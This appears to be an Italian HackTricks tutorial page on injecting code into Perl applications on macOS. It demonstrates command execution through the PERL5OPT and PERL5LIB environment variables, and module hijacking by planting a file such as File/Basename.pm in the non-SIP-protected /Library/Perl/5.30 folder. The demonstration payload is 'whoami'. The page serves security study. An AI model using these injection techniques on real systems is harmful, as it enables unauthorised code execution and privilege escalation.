macOS Perl Applications Injection
Reading time: 3 minutes
tip
Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos di github.
Tramite la variabile d'ambiente PERL5OPT
& PERL5LIB
Utilizzando la variabile d'ambiente PERL5OPT è possibile far eseguire a perl comandi arbitrari.
Ad esempio, crea questo script:
#!/usr/bin/perl
print "Hello from the Perl script!\n";
Ora esporta la variabile di ambiente ed esegui lo script perl:
export PERL5OPT='-Mwarnings;system("whoami")'
perl test.pl # This will execute "whoami"
Un'altra opzione è creare un modulo Perl (ad es. /tmp/pmod.pm
):
#!/usr/bin/perl
package pmod;
system('whoami');
1; # Modules must return a true value
E poi usa le variabili di ambiente:
PERL5LIB=/tmp/ PERL5OPT=-Mpmod
Via dipendenze
È possibile elencare l'ordine della cartella delle dipendenze di Perl in esecuzione:
perl -e 'print join("\n", @INC)'
Che restituirà qualcosa come:
/Library/Perl/5.30/darwin-thread-multi-2level
/Library/Perl/5.30
/Network/Library/Perl/5.30/darwin-thread-multi-2level
/Network/Library/Perl/5.30
/Library/Perl/Updates/5.30.3
/System/Library/Perl/5.30/darwin-thread-multi-2level
/System/Library/Perl/5.30
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
/System/Library/Perl/Extras/5.30
Alcune delle cartelle restituite non esistono nemmeno, tuttavia, /Library/Perl/5.30
esiste, non è protetta da SIP ed è prima delle cartelle protette da SIP. Pertanto, qualcuno potrebbe abusare di quella cartella per aggiungere dipendenze di script in modo che uno script Perl ad alta privilegio lo carichi.
warning
Tuttavia, nota che devi essere root per scrivere in quella cartella e oggigiorno riceverai questo prompt TCC:
Ad esempio, se uno script importa use File::Basename;
, sarebbe possibile creare /Library/Perl/5.30/File/Basename.pm
per far eseguire codice arbitrario.
Riferimenti
tip
Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos di github.